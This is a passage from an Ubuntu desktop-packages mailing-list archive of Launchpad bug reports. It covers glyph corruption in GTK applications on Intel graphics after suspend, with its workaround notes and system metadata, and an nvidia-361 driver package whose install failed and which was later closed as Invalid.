2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png

# Affected applications
* xfce whisker menu,
* xfce4-terminal (nealy all screenshots)
* firefox (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png
2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png
),
* thunderbird (see
2016y02m16d_21h28m35s_0100Z_x_bug_affects_thunderbird_terminal.png ),
* emacs (see
2016y02m10d_18h41m49s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_00.png
and subsequent ),
* superswitcher ( a gtk/gdk app)
* *NOT* affected: xterm, xmessage. Perhaps only gtk/gdk/pango/cairo apps are
affected.

# Additional information
This looks like a cache corruption somewhere.
On IRC #pango, someone suggested a bug in Intel driver.
Running `xfce4-appearance-settings` and there changing any of:
* antialiasing enable/disable,
* hinting strength,
* subpixel alignment
* or dpi
immediately cures the bug (see
2016y02m16d_21h31m52s_0100Z_x_bug_disabling_antialias_immediately_cures_problem.png
)

Setting back the exact same parameters immediately reactivates the bug
(see

2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png).

It is believed that keeping any new settings for a while will have the
bug reoccur.

It is not like bug 1536751. That one affects rendering quality of *all*
glyphs, at all times, depending on dpi. This is not the case here:
*some* glyphs (randomly chosen) are drawn corrupted (replaced by garbage
or absent), not always.

+ Using the nvidia proprietary driver 361.42 isn't a WORKAROUND as it causes
black screen on boot as per:
+ https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1575907
+
---
ApportVersion: 2.20-0ubuntu3
Architecture: amd64
CompizPlugins: No value set for
`/apps/compiz-1/general/screen0/options/active_plugins'
CompositorRunning: None
CurrentDesktop: XFCE
DistUpgraded: Fresh install
DistroCodename: xenial
DistroRelease: Ubuntu 16.04
DistroVariant: ubuntu
DkmsStatus: virtualbox, 5.0.14, 4.4.0-8-generic, x86_64: installed
ExtraDebuggingInterest: Yes, including running git bisection searches
GraphicsCard:
Intel Corporation 4th Gen Core Processor Integrated Graphics Controller
[8086:0416] (rev 06) (prog-if 00 [VGA controller])
Subsystem: ASUSTeK Computer Inc. 4th Gen Core Processor Integrated
Graphics Controller [1043:177d]
Subsystem: ASUSTeK Computer Inc. GM107M [GeForce GTX 850M] [1043:177d]
InstallationDate: Installed on 2016-02-03 (26 days ago)
InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160203)
MachineType: ASUSTeK COMPUTER INC. N551JK
Package: xorg 1:7.7+13ubuntu1
PackageArchitecture: amd64
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-7-generic.efi.signed
root=UUID=1a4f1bb3-67a8-4e9e-ba71-e9a2741c04a8 ro quiet splash vt.handoff=7
ProcVersionSignature: Ubuntu 4.4.0-7.22-generic 4.4.2
Tags: xenial ubuntu regression reproducible has-workaround
Uname: Linux 4.4.0-7-generic x86_64
UpgradeStatus: No upgrade log present (probably fresh install)
UserGroups: adm cdrom dip lpadmin plugdev

[Desktop-packages] [Bug 1553554] Re: Selecting nvidia driver using software-properties-gtk yields package nvidia-361 361.28-0ubuntu1 failed to install/upgrade: subprocess installed post-installation s

Closing as package was updated since then, and original reporter noted
issue scoped to this report no longer occurs as per
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1575907 .

** Changed in: nvidia-graphics-drivers-361 (Ubuntu)
   Status: Triaged => Invalid

** Changed in: nvidia-graphics-drivers-361 (Ubuntu)
 Assignee: Kesantielu (dasefern) => (unassigned)

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to nvidia-graphics-drivers-361 in Ubuntu.
https://bugs.launchpad.net/bugs/1553554

Title:
  Selecting nvidia driver using software-properties-gtk yields package
  nvidia-361 361.28-0ubuntu1 failed to install/upgrade: subprocess
  installed post-installation script returned error exit status 30

Status in nvidia-graphics-drivers-361 package in Ubuntu:
  Invalid

Bug description:
  Similar to

  https://bugs.launchpad.net/ubuntu/+source/bbswitch/+bug/1552108
  
https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-352/+bug/1552109

  This happened when trying a workaround to
  https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: nvidia-361 361.28-0ubuntu1
  ProcVersionSignature: Ubuntu 4.4.0-9.24-generic 4.4.3
  Uname: Linux 4.4.0-9-generic x86_64
  ApportVersion: 2.20-0ubuntu3
  Architecture: amd64
  Date: Sat Mar  5 19:23:21 2016
  ErrorMessage: subprocess installed post-installation script returned error 
exit status 30
  InstallationDate: Installed on 2016-02-03 (30 days ago)
  InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160203)
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1
   apt  1.2.4
  SourcePackage: nvidia-graphics-drivers-361
  Title: package nvidia-361 361.28-0ubuntu1 failed to install/upgrade: 
subprocess installed post-installation script returned error exit status 30
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-361/+bug/1553554/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1547077] Re: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected.